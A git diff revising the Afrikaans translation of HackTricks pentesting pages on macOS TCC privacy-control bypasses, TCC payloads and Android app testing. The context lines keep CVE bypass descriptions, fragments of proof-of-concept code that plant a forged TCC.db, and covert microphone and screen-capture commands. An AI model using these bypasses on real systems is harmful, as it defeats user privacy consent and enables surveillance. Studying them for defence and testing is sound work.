Vir meer inligting oor Apple Skripte, kyk: @@ -74,7 +74,7 @@ Vir meer inligting oor Apple Skripte, kyk: macos-apple-scripts.md {{#endref}} -Byvoorbeeld, as 'n App **Automatisering toestemming oor `iTerm`** het, het **`Terminal`** toegang oor iTerm: +Byvoorbeeld, as 'n App **Automatiseringstoestemming oor `iTerm`** het, het **`Terminal`** toegang oor iTerm:
@@ -112,9 +112,9 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -Die gebruikerland **tccd daemon** wat die **`HOME`** **env** veranderlike gebruik om toegang te verkry tot die TCC gebruikersdatabasis vanaf: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +Die gebruikersvlak **tccd daemon** wat die **`HOME`** **env** veranderlike gebruik om toegang te verkry tot die TCC gebruikersdatabasis vanaf: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -Volgens [hierdie Stack Exchange pos](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) en omdat die TCC daemon via `launchd` binne die huidige gebruiker se domein loop, is dit moontlik om **alle omgewing veranderlikes** wat aan dit deurgegee word te **beheer**.\ +Volgens [hierdie Stack Exchange pos](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) en omdat die TCC daemon via `launchd` binne die huidige gebruiker se domein loop, is dit moontlik om **alle omgewing veranderlikes** wat aan dit oorgedra word te **beheer**.\ Dus, 'n **aanvaller kan die `$HOME` omgewing** veranderlike in **`launchctl`** stel om na 'n **gecontroleerde** **gids** te verwys, **herbegin** die **TCC** daemon, en dan die **TCC databasis direk** te **wysig** om vir homself **elke TCC regte beskikbaar** te gee sonder om ooit die eindgebruiker te vra.\ PoC: ```bash @@ -151,7 +151,7 @@ Aantekeninge het toegang tot TCC beskermde plekke, maar wanneer 'n aantekening g ### CVE-2021-30782 - Translokasie -Die binêre `/usr/libexec/lsd` met die biblioteek `libsecurity_translocate` het die regte `com.apple.private.nullfs_allow` gehad wat dit toegelaat het om **nullfs** montages te skep en het die regte `com.apple.private.tcc.allow` gehad met **`kTCCServiceSystemPolicyAllFiles`** om toegang tot elke lêer te verkry. +Die binêre `/usr/libexec/lsd` met die biblioteek `libsecurity_translocate` het die regte `com.apple.private.nullfs_allow` gehad wat dit toegelaat het om **nullfs** monteer te skep en het die regte `com.apple.private.tcc.allow` gehad met **`kTCCServiceSystemPolicyAllFiles`** om toegang tot elke lêer te verkry. Dit was moontlik om die kwarantyn-attribuut aan "Biblioteek" toe te voeg, die **`com.apple.security.translocation`** XPC diens aan te roep en dan sou dit Biblioteek na **`$TMPDIR/AppTranslocation/d/d/Library`** kaart waar al die dokumente binne Biblioteek **toeganklik** kon wees. @@ -162,16 +162,16 @@ Dit was moontlik om die kwarantyn-attribuut aan "Biblioteek" toe te voeg, die ** - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"` -Hierdie **`rename(a, b);`** gedrag is kwesbaar vir 'n **Race Condition**, aangesien dit moontlik is om 'n vals **TCC.db** lêer binne die `Automatically Add to Music.localized` gids te plaas en dan wanneer die nuwe gids (b) geskep word, die lêer te kopieer, dit te verwyder, en dit na **`~/Library/Application Support/com.apple.TCC`** te wys. +Hierdie **`rename(a, b);`** gedrag is kwesbaar vir 'n **Race Condition**, aangesien dit moontlik is om 'n vals **TCC.db** lêer binne die `Automatically Add to Music.localized` gids te plaas en dan, wanneer die nuwe gids (b) geskep word om die lêer te kopieer, dit te verwyder en dit na **`~/Library/Application Support/com.apple.TCC`** te wys. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -As **`SQLITE_SQLLOG_DIR="path/folder"`** basies beteken dit dat **enige oop db na daardie pad gekopieer word**. In hierdie CVE is hierdie beheer misbruik om **te skryf** binne 'n **SQLite databasis** wat gaan **oop wees deur 'n proses met FDA die TCC databasis**, en dan **`SQLITE_SQLLOG_DIR`** te misbruik met 'n **symlink in die lêernaam** sodat wanneer daardie databasis **oop** is, die gebruiker **TCC.db word oorgeskryf** met die oop een.\ -**Meer inligting** [**in die skrywe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **en**[ **in die praatjie**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). +As **`SQLITE_SQLLOG_DIR="path/folder"`** basies beteken dat **enige oop db na daardie pad gekopieer word**. In hierdie CVE is hierdie beheer misbruik om **te skryf** binne 'n **SQLite databasis** wat gaan **oop wees deur 'n proses met FDA die TCC databasis**, en dan **`SQLITE_SQLLOG_DIR`** misbruik met 'n **symlink in die lêernaam** sodat wanneer daardie databasis **oop** is, die gebruiker **TCC.db word oorgeskryf** met die oop een.\ +**Meer inligting** [**in die skrywe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **en** [**in die praatjie**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** -As die omgewing veranderlike **`SQLITE_AUTO_TRACE`** gestel is, sal die biblioteek **`libsqlite3.dylib`** begin **log** al die SQL vrae. Baie toepassings het hierdie biblioteek gebruik, so dit was moontlik om al hul SQLite vrae te log. +As die omgewing veranderlike **`SQLITE_AUTO_TRACE`** gestel is, sal die biblioteek **`libsqlite3.dylib`** begin **log** al die SQL navrae. Baie toepassings het hierdie biblioteek gebruik, so dit was moontlik om al hul SQLite navrae te log. Verskeie Apple toepassings het hierdie biblioteek gebruik om toegang tot TCC beskermde inligting te verkry. ```bash @@ -226,7 +226,7 @@ TCC gebruik 'n databasis in die gebruiker se HOME gids om toegang tot hulpbronne Daarom, as die gebruiker daarin slaag om TCC te herlaai met 'n $HOME omgewing veranderlike wat na 'n **ander gids** wys, kan die gebruiker 'n nuwe TCC databasis in **/Library/Application Support/com.apple.TCC/TCC.db** skep en TCC mislei om enige TCC toestemming aan enige toepassing toe te ken. > [!TIP] -> Let daarop dat Apple die instelling wat binne die gebruiker se profiel in die **`NFSHomeDirectory`** attribuut gestoor is, gebruik vir die **waarde van `$HOME`**, so as jy 'n toepassing met toestemming om hierdie waarde te wysig (**`kTCCServiceSystemPolicySysAdminFiles`**) kompromitteer, kan jy **wapen** hierdie opsie met 'n TCC omseiling. +> Let daarop dat Apple die instelling wat binne die gebruiker se profiel in die **`NFSHomeDirectory`** attribuut gestoor is, gebruik vir die **waarde van `$HOME`**, so as jy 'n toepassing met toestemming om hierdie waarde te wysig (**`kTCCServiceSystemPolicySysAdminFiles`**) kompromitteer, kan jy hierdie opsie **wapen** met 'n TCC omseiling. ### [CVE-2020–9934 - TCC](./#c19b) @@ -257,11 +257,11 @@ Daar is verskillende tegnieke om kode binne 'n proses in te spuit en sy TCC voor {{#endref}} Boonop is die mees algemene proses inspuiting om TCC te omseil wat gevind is via **plugins (laai biblioteek)**.\ -Plugins is ekstra kode gewoonlik in die vorm van biblioteke of plist, wat deur die **hoofd toepassing** gelaai sal word en onder sy konteks sal uitvoer. Daarom, as die hoofd toepassing toegang tot TCC beperkte lêers gehad het (via toegekende toestemming of regte), sal die **aangepaste kode dit ook hê**. +Plugins is ekstra kode gewoonlik in die vorm van biblioteke of plist, wat deur die **hoofd toepassing** gelaai sal word en onder sy konteks sal uitvoer. Daarom, as die hoofd toepassing toegang tot TCC beperkte lêers gehad het (deur toegekende toestemming of regte), sal die **aangepaste kode dit ook hê**. ### CVE-2020-27937 - Directory Utility -Die toepassing `/System/Library/CoreServices/Applications/Directory Utility.app` het die regte **`kTCCServiceSystemPolicySysAdminFiles`**, het plugins met **`.daplug`** uitbreiding gelaai en **het nie die geharde** runtime gehad nie. +Die toepassing `/System/Library/CoreServices/Applications/Directory Utility.app` het die regte **`kTCCServiceSystemPolicySysAdminFiles`**, gelaaide plugins met **`.daplug`** uitbreiding en **het nie die geharde** runtime gehad nie. Om hierdie CVE te wapen, word die **`NFSHomeDirectory`** **gewysig** (misbruik van die vorige regte) om in staat te wees om die gebruiker se TCC databasis oor te neem om TCC te omseil. @@ -302,7 +302,7 @@ Vir meer inligting, kyk na die [**oorspronklike verslag**](https://wojciechregul ### Toestel Abstraksielaag (DAL) Plug-Ins -Stelsels toepassings wat kamera stroom via Core Media I/O (toepassings met **`kTCCServiceCamera`**) laai **in die proses hierdie plugins** geleë in `/Library/CoreMediaIO/Plug-Ins/DAL` (nie SIP beperk nie). +Stelsels toepassings wat kamera stroom via Core Media I/O oopmaak (toepassings met **`kTCCServiceCamera`**) laai **in die proses hierdie plugins** geleë in `/Library/CoreMediaIO/Plug-Ins/DAL` (nie SIP beperk nie). Net om 'n biblioteek met die algemene **konstruktors** daar te stoor, sal werk om **kode in te spuit**. @@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - mount_apfs TCC omseiling en privilige-eskalasie **Enige gebruiker** (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en **toegang hê tot AL die lêers** van daardie snapshot.\ -Die **enige privilige** wat benodig word, is dat die toepassing wat gebruik word (soos `Terminal`) **Volledige Skyftoegang** (FDA) toegang moet hê (`kTCCServiceSystemPolicyAllfiles`) wat deur 'n admin toegestaan moet word. +Die **enige privilige** wat benodig word, is dat die toepassing wat gebruik word (soos `Terminal`) **Volledige Skyftoegang** (FDA) toegang (`kTCCServiceSystemPolicyAllfiles`) moet hê wat deur 'n admin toegestaan moet word. ```bash # Create snapshot tmutil localsnapshot @@ -463,7 +463,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` -Kontroleer die **volledige uitbuiting** in die [**oorspronklike skrywe**](https://theevilbit.github.io/posts/cve-2021-30808/). +Kontroleer die **volledige ontploffing** in die [**oorspronklike skrywe**](https://theevilbit.github.io/posts/cve-2021-30808/). ### CVE-2024-40855 @@ -475,7 +475,7 @@ Dit het 'n aanvaller toegelaat om arbitrêre monte in enige plek te doen, inslui ### asr -Die hulpmiddel **`/usr/sbin/asr`** het toegelaat om die hele skyf te kopieer en dit op 'n ander plek te monteer terwyl TCC-beskerming omseil word. +Die hulpmiddel **`/usr/sbin/asr`** het toegelaat om die hele skyf te kopieer en dit op 'n ander plek te monteer terwyl TCC-beskermings omseil word. ### Ligging Dienste @@ -509,6 +509,6 @@ Nog 'n manier om [**CoreGraphics gebeurtenisse**](https://objectivebythesea.org/ - [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) - [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) - [**20+ Manier om jou macOS Privaatheid Meganismes te Omseil**](https://www.youtube.com/watch?v=W9GxnP8c8FU) -- [**Knockout Win Teen TCC - 20+ NUWE Manier om jou MacOS Privaatheid Meganismes te Omseil**](https://www.youtube.com/watch?v=a9hsxPdRxsY) +- [**Knockout Win Teen TCC - 20+ Nuwe Manier om jou MacOS Privaatheid Meganismes te Omseil**](https://www.youtube.com/watch?v=a9hsxPdRxsY) {{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index de078e5bf..7c051001d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -12,18 +12,18 @@ click button "Always Allow" of group 1 end tell ``` Hier is 'n paar voorbeelde: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Vind meer inligting oor malware wat met applescripts gebruik word [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Vind meer inligting oor malware wat met applescripts werk [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). Apple skripte kan maklik "**gecompileer**" word. Hierdie weergawes kan maklik "**gedecompileer**" word met `osadecompile` -However, hierdie skripte kan ook **geëksporteer word as "Slegs lees"** (deur die "Eksporteer..." opsie): +However, this scripts can also be **exported as "Read only"** (via the "Export..." option):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -en in hierdie geval kan die inhoud nie gedecompileer word nie, selfs nie met `osadecompile` nie. +en in hierdie geval kan die inhoud nie gedekompileer word nie, selfs nie met `osadecompile` nie. Daar is egter steeds 'n paar gereedskap wat gebruik kan word om hierdie soort uitvoerbare lêers te verstaan, [**lees hierdie navorsing vir meer inligting**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Die gereedskap [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) met [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile) sal baie nuttig wees om te verstaan hoe die skrip werk. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 2aed64f12..0d1396d56 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -560,7 +560,7 @@ static void telegram(int argc, const char **argv) { {{#endtab}} {{#tab name="Shell"}} -Neem 'n 5s klankopname en stoor dit in `/tmp/recording.wav` +Neem 'n 5s klankopname op en stoor dit in `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -573,7 +573,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### Ligging > [!TIP] -> Vir 'n toepassing om die ligging te verkry, **Ligging Dienste** (van Privaatheid & Sekuriteit) **moet geaktiveer wees,** anders kan dit nie toegang daartoe verkry nie. +> Vir 'n app om die ligging te verkry, **Ligging Dienste** (van Privaatheid & Sekuriteit) **moet geaktiveer wees,** anders kan dit nie toegang daartoe verkry nie. - **Regte**: `com.apple.security.personal-information.location` - **TCC**: Toegestaan in `/var/db/locationd/clients.plist` @@ -713,7 +713,7 @@ screencapture -V 5 /tmp/screen.mov - **Regte**: Geen - **TCC**: `kTCCServiceAccessibility` -Gebruik die TCC-privilege om die beheer van Finder te aanvaar deur enter te druk en TCC op daardie manier te omseil +Gebruik die TCC-regte om die beheer van Finder te aanvaar deur enter te druk en TCC op daardie manier te omseil {{#tabs}} {{#tab name="Aanvaar TCC"}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index cfee8e15d..155c4478a 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Voeg alle splits en basis apk's saam met [APKEditor](https://github.com/REAndroid/APKEditor): +- Voeg alle splits en basis apks saam met [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -62,9 +62,9 @@ Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaamuitbreiding na .zip te hernoem en dit dan uit te pak. -**Kwessies** wat geïdentifiseer is uit die **Manifest.xml** sluit in: +**Kwesbaarhede** wat in die **Manifest.xml** geïdentifiseer is, sluit in: -- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel. +- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel. - **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is. - **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat. - **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut. @@ -87,9 +87,9 @@ tapjacking.md ### Taak Hijacking -'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak Hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**). +'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**). -Meer info in: +Meer inligting in: {{#ref}} android-task-hijacking.md @@ -99,10 +99,10 @@ android-task-hijacking.md **Interne Stoor** -In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitlik** deur die **app** wat dit **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog, hierdie modi **beperk nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige. +In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog, hierdie modi **beperk nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige. 1. **Statiese Analise:** -- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel. +- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel** aan **onbedoelde of ongeoorloofde toegang**. 2. **Dinamiese Analise:** - **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**. @@ -120,7 +120,7 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaarte, moet sekere vo - Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor. - As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf. -Eksterne stoor kan **toegang verkry** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!NOTE] > Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry. @@ -134,7 +134,7 @@ Eksterne stoor kan **toegang verkry** in `/storage/emulated/0` , `/sdcard` , `/m **Aanvaar Alle Sertifikate** -Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie: +Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met lyne kode soos die volgende nie: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -181,7 +181,7 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin ### Geoutomatiseerde Statiese Kode Analise -Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinks** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui. +Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinkholes** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui. Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**. @@ -243,7 +243,7 @@ avd-android-virtual-device.md > [!NOTE] > Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik. -Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik: +Om **Google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik: ![](<../../images/image (277).png>) @@ -269,22 +269,22 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid. > [!WARNING] -> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\ +> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang het tot hul eie logs**. So toepassings kan nie ander apps se logs toegang nie.\ > Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**. -**Kopie/Plak Buffer Kaping** +**Kopieer/plak Buffer Kaping** -Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. +Android se **clipboard-gebaseerde** raamwerk stel kopieer-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopieer/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. **Crash Logs** -As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, vermy logging tydens crashes, en as logs oor die netwerk gestuur moet word, verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. +As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk gestuur moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. As pentester, **probeer om na hierdie logs te kyk**. **Analitiese Data Gestuur Aan 3de Partye** -Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word. +Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en na enige sensitiewe inligting te kyk wat aan derdeparty dienste gestuur word. ### SQLite DB's @@ -298,27 +298,27 @@ Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema [!NOTE] > Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word. @@ -334,30 +334,30 @@ As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik ### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting [**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\ -Content providers word basies gebruik om **data te deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees. +Inhoudverskaffers word basies gebruik om **data te deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Pad Traversals** te toets aangesien hulle kwesbaar kan wees. -[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/#content-providers) +[**Leer hoe om Content Providers met Drozer te misbruik.**](drozer-tutorial/#content-providers) ### **Exploiting Services** [**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\ Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`. -Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\ -[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/#services) +Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksport, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\ +[**Leer hoe om Dienste met Drozer te misbruik.**](drozer-tutorial/#services) ### **Exploiting Broadcast Receivers** [**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\ Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`. -'n Uitsending ontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\ -[**Leer hoe om Uitsending Ontvangers met Drozer te exploiteer.**](./#exploiting-broadcast-receivers) +'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\ +[**Leer hoe om Uitzendingontvangers met Drozer te misbruik.**](./#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Jy kan handmatig na deep links soek, met behulp van 